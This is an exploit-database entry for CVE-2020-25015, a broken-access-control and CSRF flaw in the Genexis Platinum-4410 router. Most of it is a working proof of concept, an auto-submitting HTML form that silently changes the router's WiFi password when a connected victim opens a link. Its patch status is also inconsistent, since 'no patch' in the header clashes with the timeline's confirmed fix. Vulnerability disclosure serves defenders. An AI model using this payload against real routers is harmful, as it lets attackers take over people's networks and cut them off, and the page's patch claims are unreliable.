Genexis Platinum-4410 P4410-V2-1.28 - Broken Access Control and CSRF

vendor:

Platinum-4410

by:

Jinson Varghese Behanan

6.5

CVSS

MEDIUM

Broken Access Control and CSRF

284

CWE

Product Name: Platinum-4410

Affected Version From: v2.1 (software version P4410-V2-1.28)

Affected Version To: v2.1 (software version P4410-V2-1.28)

Patch Exists: NO

Related CWE: CVE-2020-25015

CPE: h:genexis:platinum-4410

Metasploit:

Other Scripts:

Platforms Tested:

2020

Genexis Platinum-4410 P4410-V2-1.28 – Broken Access Control and CSRF

Platinum 4410 router from Genexis with hardware version V2.1 and software version P4410-V2-1.28 is vulnerable to Broken Access Control and CSRF. This vulnerability allows an attacker to remotely change the WIFI access point's password by sending a specially crafted link to the victim while they are connected to the vulnerable router's WiFi network.

Mitigation:

The vendor has not provided a patch for this vulnerability. Users are advised to update to the latest firmware version or consider replacing the affected router with a more secure alternative.

Source

Exploit-DB raw data:

# Exploit Title: Genexis Platinum-4410 P4410-V2-1.28 - Broken Access Control and CSRF
# Date: 28-08-2020
# Vendor Homepage: https://www.gxgroup.eu/ont-products/
# Exploit Author: Jinson Varghese Behanan (@JinsonCyberSec)
# Author Advisory: https://www.getastra.com/blog/911/csrf-broken-access-control-in-genexis-platinum-4410/
# Version: v2.1 (software version P4410-V2-1.28)
# CVE : CVE-2020-25015

1. Description

Platinum 4410 is a compact router from Genexis that is commonly used at homes and offices. Hardware version V2.1 – Software version P4410-V2-1.28 was found to be vulnerable to Broken Access Control and CSRF which could be combined to remotely change the WIFI access point’s password.

2. Impact

An attacker can send the victim a link, which if he clicks while he is connected to the WiFi network established from the vulnerable router, the password of the WIFI access point will get changed via CSRF exploit. As the router is also vulnerable to Broken Access Control, the victim does not need to be logged in to the router’s web-based setup page (192.168.1.1), essentially making this a one-click hack.

3. Proof of Concept

Create an HTML file with the following code:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/cgi-bin/net-wlan.asp" method="POST">
      <input type="hidden" name="wlEnbl" value="ON" />
      <input type="hidden" name="hwlKeys0" value="" />
      <input type="hidden" name="hwlKeys1" value="" />
      <input type="hidden" name="hwlKeys2" value="" />
      <input type="hidden" name="hwlKeys3" value="" />
      <input type="hidden" name="hwlgMode" value="9" />
      <input type="hidden" name="hwlAuthMode" value="WPAPSKWPA2PSK" />
      <input type="hidden" name="hwlEnbl" value="1" />
      <input type="hidden" name="hWPSMode" value="1" />
      <input type="hidden" name="henableSsid" value="1" />
      <input type="hidden" name="hwlHide" value="0" />
      <input type="hidden" name="isInWPSing" value="0" />
      <input type="hidden" name="WpsConfModeAll" value="7" />
      <input type="hidden" name="WpsConfModeNone" value="0" />
      <input type="hidden" name="hWpsStart" value="0" />
      <input type="hidden" name="isCUCSupport" value="0" />
      <input type="hidden" name="SSIDPre" value="N&#47;A" />
      <input type="hidden" name="bwControlhidden" value="0" />
      <input type="hidden" name="ht&#95;bw" value="1" />
      <input type="hidden" name="wlgMode" value="b&#44;g&#44;n" />
      <input type="hidden" name="wlChannel" value="0" />
      <input type="hidden" name="wlTxPwr" value="1" />
      <input type="hidden" name="wlSsidIdx" value="0" />
      <input type="hidden" name="SSID&#95;Flag" value="0" />
      <input type="hidden" name="wlSsid" value="JINSON" />
      <input type="hidden" name="wlMcs" value="33" />
      <input type="hidden" name="bwControl" value="1" />
      <input type="hidden" name="giControl" value="1" />
      <input type="hidden" name="enableSsid" value="on" />
      <input type="hidden" name="wlAssociateNum" value="32" />
      <input type="hidden" name="wlSecurMode" value="WPAand11i" />
      <input type="hidden" name="wlPreauth" value="off" />
      <input type="hidden" name="wlNetReauth" value="1" />
      <input type="hidden" name="wlWpaPsk" value="NEWPASSWORD" />
      <input type="hidden" name="cb&#95;enablshowpsw" value="on" />
      <input type="hidden" name="wlWpaGtkRekey" value="" />
      <input type="hidden" name="wlRadiusIPAddr" value="" />
      <input type="hidden" name="wlRadiusPort" value="" />
      <input type="hidden" name="wlRadiusKey" value="" />
      <input type="hidden" name="wlWpa" value="TKIPAES" />
      <input type="hidden" name="wlKeyBit" value="64" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="wlKeys" value="" />
      <input type="hidden" name="WpsActive" value="0" />
      <input type="hidden" name="wpsmode" value="ap&#45;pbc" />
      <input type="hidden" name="pinvalue" value="" />
      <input type="hidden" name="Save&#95;Flag" value="1" />
      <input type="submit" value="Submit request" />
    </form>
     <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Open this file in a browser while you are connected to the WIFI. There is no need for the victim to be logged in to the Router admin panel (192.168.1.1). It can be seen that the WIFI connection is dropped. To reconnect, forget the WIFI connection on your laptop or phone and connect using the newly changed password: NEWPASSWORD


4. PoC Video: https://www.youtube.com/watch?v=nSu5ANDH2Rk&feature=emb_title

3. Timeline

Vulnerability reported to the Genexis team – August 28, 2020
Team confirmed firmware release containing fix – September 14, 2020